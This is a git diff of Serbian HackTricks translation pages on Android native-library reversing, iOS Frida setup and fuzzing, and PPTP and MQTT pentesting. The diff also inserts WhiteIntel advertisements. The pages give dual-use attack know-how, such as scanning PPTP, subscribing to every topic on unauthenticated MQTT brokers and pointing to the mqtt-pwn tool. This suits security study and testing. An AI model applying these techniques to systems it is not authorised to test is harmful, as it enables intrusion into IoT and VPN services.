- NDK je Android-specifičan set alata za pisanje nativnog koda.
- JNI i NDK povezuju Java (ili Kotlin) kod sa nativnim bibliotekama.
- **Učitavanje i izvršavanje biblioteka:**
- Biblioteke se učitavaju u memoriju pomoću `System.loadLibrary` ili `System.load` funkcija.
- Biblioteke se učitavaju u memoriju korišćenjem `System.loadLibrary` ili `System.load`.
- JNI_OnLoad se izvršava prilikom učitavanja biblioteke.
- Java-deklarisane nativne metode se povezuju sa nativnim funkcijama, omogućavajući izvršavanje.
- Java-deklarisane nativne metode povezuju se sa nativnim funkcijama, omogućavajući izvršavanje.
- **Povezivanje Java metoda sa nativnim funkcijama:**
- **Dinamičko povezivanje:** Imena funkcija u nativnim bibliotekama odgovaraju određenom obrascu, omogućavajući automatsko povezivanje.
- **Statičko povezivanje:** Koristi `RegisterNatives` za povezivanje, pružajući fleksibilnost u nazivima i strukturi funkcija.
- **Statičko povezivanje:** Koristi `RegisterNatives` za povezivanje, pružajući fleksibilnost u imenovanju funkcija i strukturi.
- **Alati i tehnike za reverteranje:**
- Alati poput Ghidra-e i IDA Pro pomažu u analizi nativnih biblioteka.
- **Alati i tehnike reverznog inženjeringa:**
- Alati poput Ghidra i IDA Pro pomažu u analizi nativnih biblioteka.
- `JNIEnv` je ključan za razumevanje JNI funkcija i interakcija.
- Vežbe su obezbeđene radi vežbanja učitavanja biblioteka, povezivanja metoda i identifikacije nativnih funkcija.
- Vežbe su obezbeđene radi vežbanja učitavanja biblioteka, povezivanja metoda i identifikovanja nativnih funkcija.
### Resursi:
- **Učenje ARM asemblerskog jezika:**
- Preporučuje se za dublje razumevanje osnovne arhitekture.
- [Osnove ARM asemblerskog jezika](https://azeria-labs.com/writing-arm-assembly-part-1/) sa Azeria Labs-a se preporučuje.
- Predloženo za dublje razumevanje osnovne arhitekture.
- [Osnove ARM asemblerskog jezika](https://azeria-labs.com/writing-arm-assembly-part-1/) iz Azeria Labs se preporučuju.
- **JNI i NDK dokumentacija:**
- **JNI & NDK dokumentacija:**
- [Oracle-ova JNI specifikacija](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Android-ovi saveti za JNI](https://developer.android.com/training/articles/perf-jni)
- [Početak rada sa NDK-om](https://developer.android.com/ndk/guides/)
- **Debagovanje nativnih biblioteka:**
- [Debagovanje Android nativnih biblioteka pomoću JEB Decompiler-a](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
- [Debagovanje Android nativnih biblioteka korišćenjem JEB dekompajlera](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
@ -63,10 +90,10 @@ Android aplikacije mogu koristiti nativne biblioteke, obično napisane u C ili C
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# Konfiguracija Frida za iOS
# Konfiguracija iOS Frida
<details>
@ -8,30 +8,44 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Instalacija Fride
## WhiteIntel
**Koraci za instalaciju Fride na Jailbroken uređaju:**
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Instalacija Fridda
**Koraci za instalaciju Fridda na Jailbroken uređaju:**
1. Otvorite Cydia/Sileo aplikaciju.
2. Idite na Manage -> Sources -> Edit -> Add.
2. Idite na Upravljanje -> Izvori -> Uredi -> Dodaj.
3. Unesite "https://build.frida.re" kao URL.
4. Idite na novododati izvor Frida.
4. Idite na novo dodati izvor Frida.
5. Instalirajte Frida paket.
Ako koristite **Corellium** moraćete preuzeti Frida izdanje sa [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) i raspakovati i kopirati na lokaciju dylib koju Frida traži, npr.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Ako koristite **Corellium** moraćete preuzeti Frida izdanje sa [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) i raspakovati i kopirati na lokaciju dylib-a koju Frida traži, npr.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Nakon instalacije, možete koristiti komandu **`frida-ls-devices`** na svom računaru i proveriti da li se uređaj pojavljuje (vaš računar mora moći da mu pristupi).\
Nakon instalacije, možete koristiti na svom računaru komandu **`frida-ls-devices`** i proveriti da li se uređaj pojavljuje (vaš računar mora moći da mu pristupi).\
Takođe izvršite **`frida-ps -Uia`** da proverite pokrenute procese telefona.
## Frida bez Jailbroken uređaja i bez patchovanja aplikacije
## Frida bez Jailbroken uređaja i bez patch-ovanja aplikacije
Proverite ovaj blog post o korišćenju Fride na uređajima bez jailbreak-a bez patchovanja aplikacije: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
Proverite ovaj blog post o tome kako koristiti Fridu na uređajima bez Jailbreak-a bez patch-ovanja aplikacije: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Instalacija Frida klijenta
@ -40,7 +54,7 @@ Instalirajte **frida alate**:
pip install frida-tools
pip install frida
```
Sa instaliranim Frida serverom i pokrenutim i povezanim uređajem, **proverite** da li je klijent **aktivan**:
Sa instaliranim Frida serverom i pokrenutim uređajem koji je povezan, **proverite** da li klijent **radi**:
```bash
frida-ls-devices # List devices
frida-ps -Uia # Get running processes
@ -65,7 +79,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
```
### Dobijanje svih klasa i metoda
* Automatsko završavanje: Jednostavno izvršite `frida -U <program>`
* Automatsko završavanje: Samo izvršite `frida -U <program>`
<figure><img src="../../.gitbook/assets/image (1156).png" alt=""><figcaption></figcaption></figure>
@ -91,7 +105,7 @@ console.log("Objective-C runtime is not available.");
```
{% endcode %}
* Dobijanje **svih** **metoda** jedne **klase** (filtrirano po stringu)
* Dobij **sve** **metode** jedne **klase** (filtriraj po stringu)
{% code title="/tmp/script.js" %}
```javascript
@ -196,7 +210,7 @@ Ovo je zanimljivo iz razloga debagiranja, ali za fuzzing, stalno koristiti **`.f
## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) je **Frida baziran skup alata za fuzzing** koji nudi različite režime fuzzinga za fuzzing unutar procesa, kao što su AFL++ režim ili pasivni režim praćenja. Trebalo bi da radi na svim platformama koje podržava Frida.
[**fpicker**](https://github.com/ttdennis/fpicker) je **Frida-based fuzzing suite** koji nudi različite režime fuzzinga za fuzzing unutar procesa, poput AFL++ režima ili pasivnog režima praćenja. Trebalo bi da radi na svim platformama koje podržava Frida.
* [**Instaliraj fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
@ -227,9 +241,9 @@ mkdir -p examples/wg-log/in # For starting inputs
# Create at least 1 input for the fuzzer
echo Hello World > examples/wg-log/in/0
```
* **Fuzzer skripta** (`examples/wg-log/myfuzzer.js`):
* **Fuzzer skripta** (`primeri/wg-log/mojfuzzer.js`):
{% code title="examples/wg-log/myfuzzer.js" %}
{% code title="primeri/wg-log/mojfuzzer.js" %}
```javascript
// Import the fuzzer base class
import { Fuzzer } from "../../harness/fuzzer.js";
@ -309,18 +323,18 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
{% endcode %}
{% hint style="danger" %}
U ovom slučaju **ne ponovo pokrećemo aplikaciju ili vraćamo stanje** nakon svakog payloada. Dakle, ako Frida pronađe **pad sistema**, **sledeći unosi** nakon tog payloada takođe mogu **srušiti aplikaciju** (jer je aplikacija u nestabilnom stanju), čak i ako **unos ne bi trebalo da sruši** aplikaciju.
U ovom slučaju **ne ponovo pokrećemo aplikaciju ili vraćamo stanje** nakon svakog payload-a. Dakle, ako Frida pronađe **pad sistema**, **sledeći unosi** nakon tog payload-a takođe mogu **srušiti aplikaciju** (jer je aplikacija u nestabilnom stanju), čak i ako **unos ne bi trebalo da sruši** aplikaciju.
Osim toga, Frida će se povezati sa signalima izuzetaka iOS-a, pa kada **Frida pronađe pad sistema**, verovatno **izveštaji o padu sistema iOS-a neće biti generisani**.
Osim toga, Frida će se povezati sa signalima izuzetaka iOS-a, pa kada **Frida pronađe pad sistema**, verovatno neće biti generisani **izveštaji o padu sistema iOS-a**.
Da biste to sprečili, na primer, možemo ponovo pokrenuti aplikaciju nakon svakog Frida pada.
{% endhint %}
### Zapisi i Padovi
### Zapisi i Pada
Možete proveriti **macOS konzolu** ili **`log`** cli da biste proverili macOS zapise.\
Takođe možete proveriti zapise sa iOS uređaja koristeći **`idevicesyslog`**.\
Neki zapisi će izostaviti informacije dodajući **`<private>`**. Da biste prikazali sve informacije, morate instalirati neki profil sa [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) da biste omogućili te privatne informacije.
Neki zapisi će izostaviti informacije dodajući **`<private>`**. Da biste videli sve informacije, morate instalirati neki profil sa [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) da biste omogućili te privatne informacije.
Ako ne znate šta da radite:
```sh
@ -339,14 +353,14 @@ killall -9 logd
Možete proveriti rušenja u:
* **iOS**
* Postavke → Privatnost → Analitika i unapređenja → Podaci analitike
* Postavke → Privatnost → Analitika i unapređenja → Podaci o analitici
* `/private/var/mobile/Library/Logs/CrashReporter/`
* **macOS**:
* `/Library/Logs/DiagnosticReports/`
* `~/Library/Logs/DiagnosticReports`
{% hint style="warning" %}
iOS čuva samo 25 rušenja iste aplikacije, pa ih morate očistiti ili će iOS prestati da pravi rušenja.
iOS čuva samo 25 rušenja iste aplikacije, pa je potrebno očistiti ih ili će iOS prestati da kreira rušenja.
{% endhint %}
## Frida Android Tutorijali
@ -359,13 +373,27 @@ iOS čuva samo 25 rušenja iste aplikacije, pa ih morate očistiti ili će iOS p
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dubokoj mreži** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade informacije**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,4 +1,4 @@
# 1723 - Pentestiranje PPTP
# 1723 - Pentesting PPTP
<details>
@ -6,17 +6,31 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Osnovne informacije
**Point-to-Point Tunneling Protocol (PPTP)** je metoda koja se široko koristi za **udaljeni pristup** mobilnim uređajima. Koristi **TCP port 1723** za razmenu ključeva, dok se **IP protokol 47** (Generic Routing Encapsulation, ili **GRE**) koristi za enkripciju podataka koji se prenose između parova. Ova postavka je ključna za uspostavljanje sigurnog komunikacijskog kanala preko interneta, obezbeđujući da razmenjeni podaci ostanu poverljivi i zaštićeni od neovlašćenog pristupa.
**Point-to-Point Tunneling Protocol (PPTP)** je metoda široko korišćena za **udaljeni pristup** mobilnim uređajima. Koristi **TCP port 1723** za razmenu ključeva, dok se **IP protokol 47** (Generic Routing Encapsulation, ili **GRE**), koristi za enkripciju podataka koji se prenose između parova. Ova postavka je ključna za uspostavljanje sigurnog komunikacionog kanala preko interneta, osiguravajući da razmenjeni podaci ostanu poverljivi i zaštićeni od neovlašćenog pristupa.
**Podrazumevani port**: 1723
@ -36,10 +50,10 @@ nmap Pn -sSV -p1723 <IP>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,17 +6,31 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Osnovne informacije
**MQ Telemetry Transport (MQTT)** poznat je kao **protokol za razmenu poruka putem objavljivanja/pretplate** koji se ističe po svojoj ekstremnoj jednostavnosti i lakoći. Ovaj protokol je posebno prilagođen za okruženja u kojima uređaji imaju ograničene mogućnosti i funkcionišu preko mreža koje se karakterišu niskom propusnošću, visokom latencijom ili nepouzdanim vezama. Osnovni ciljevi MQTT-a uključuju minimiziranje korišćenja mrežne propusnosti i smanjenje zahteva na resurse uređaja. Pored toga, cilj mu je održavanje pouzdane komunikacije i pružanje određenog nivoa sigurnosti isporuke. Ovi ciljevi čine MQTT izuzetno pogodnim za rastuće polje **komunikacije uređaja sa uređajem (M2M)** i **Interneta stvari (IoT)**, gde je esencijalno efikasno povezivanje različitih uređaja. Osim toga, MQTT je veoma koristan za mobilne aplikacije, gde je čuvanje propusnosti i trajanja baterije od suštinskog značaja.
**MQ Telemetry Transport (MQTT)** poznat je kao **protokol za razmenu poruka putem objavljivanja/pretplate** koji se ističe po svojoj ekstremnoj jednostavnosti i laganoći. Ovaj protokol je posebno prilagođen za okruženja u kojima uređaji imaju ograničene mogućnosti i funkcionišu preko mreža koje se karakterišu niskom propusnošću, visokom latencijom ili nepouzdanim vezama. Osnovni ciljevi MQTT-a uključuju minimiziranje korišćenja mrežne propusnosti i smanjenje zahteva na resurse uređaja. Pored toga, cilj mu je održavanje pouzdane komunikacije i pružanje određenog nivoa sigurnosti isporuke. Ovi ciljevi čine MQTT izuzetno pogodnim za rastuće polje **komunikacije mašina sa mašinama (M2M)** i **Interneta stvari (IoT)**, gde je esencijalno efikasno povezivanje različitih uređaja. Osim toga, MQTT je veoma koristan za mobilne aplikacije, gde je čuvanje propusnosti i trajanja baterije ključno.
**Podrazumevani port:** 1883
```
@ -40,7 +54,7 @@ Na primer, ako posrednik odbije vezu zbog nevažećih pristupnih podataka, scena
## Pentesting MQTT
**Autentifikacija je potpuno opcionalna** i čak i ako se vrši autentifikacija, **podrazumevano se ne koristi enkripcija** (kredencijali se šalju u čistom tekstu). MITM napadi i dalje mogu biti izvršeni kako bi se ukrali lozinke.
**Autentifikacija je potpuno opcionalna** i čak i ako se vrši autentifikacija, **podrazumevano se ne koristi šifrovanje** (kredencijali se šalju u čistom tekstu). MITM napadi i dalje mogu biti izvršeni kako bi se ukrali lozinke.
Za povezivanje na MQTT servis možete koristiti: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) i pretplatiti se na sve teme koristeći:
```
@ -49,6 +63,8 @@ Za povezivanje na MQTT servis možete koristiti: [https://github.com/bapowell/py
> subscribe "$SYS/#"
```
Možete koristiti [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
Možete takođe koristiti:
```bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
@ -85,7 +101,7 @@ main()
```
## Više informacija
sa ovde: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
sa ovog linka: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
### Šema objavljivanja/pretplate <a href="#b667" id="b667"></a>
@ -107,16 +123,16 @@ Svaki MQTT paket sadrži fiksni zaglavlje (Slika 02).Slika 02: Fiksno zaglavlje
* CONNECT (1): Iniciran od strane klijenta zahtevajući vezu sa serverom.
* CONNACK (2): Potvrda servera o uspešnoj vezi.
* PUBLISH (3): Koristi se za slanje poruke od klijenta ka serveru ili obrnuto.
* PUBACK (4): Potvrda o PUBLISH paketu.
* PUBACK (4): Potvrda za PUBLISH paket.
* PUBREC (5): Deo protokola isporuke poruke koji osigurava da je poruka primljena.
* PUBREL (6): Dodatno osiguranje u isporuci poruke, ukazujući na oslobađanje poruke.
* PUBCOMP (7): Završni deo protokola isporuke poruke, ukazujući na završetak.
* SUBSCRIBE (8): Zahtev klijenta za slušanje poruka sa teme.
* SUBSCRIBE (8): Zahtev klijenta za slušanje poruka sa određene teme.
* SUBACK (9): Potvrda servera o SUBSCRIBE zahtevu.
* UNSUBSCRIBE (10): Zahtev klijenta za prestanak primanja poruka sa teme.
* UNSUBSCRIBE (10): Zahtev klijenta za prestanak primanja poruka sa određene teme.
* UNSUBACK (11): Odgovor servera na UNSUBSCRIBE zahtev.
* PINGREQ (12): Poruka otkucaja srca poslata od strane klijenta.
* PINGRESP (13): Odgovor servera na poruku otkucaja srca.
* PINGREQ (12): Poruka o održavanju veze poslata od strane klijenta.
* PINGRESP (13): Odgovor servera na poruku o održavanju veze.
* DISCONNECT (14): Iniciran od strane klijenta za prekid veze.
* Dve vrednosti, 0 i 15, označene su kao rezervisane i njihova upotreba je zabranjena.
@ -124,16 +140,28 @@ Svaki MQTT paket sadrži fiksni zaglavlje (Slika 02).Slika 02: Fiksno zaglavlje
* `port:1883 MQTT`
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dubokom webu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji kradu podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji kradu informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# 2375, 2376 Pentesting Docker
# 2375, 2376 Testiranje Docker-a
<details>
@ -6,27 +6,41 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
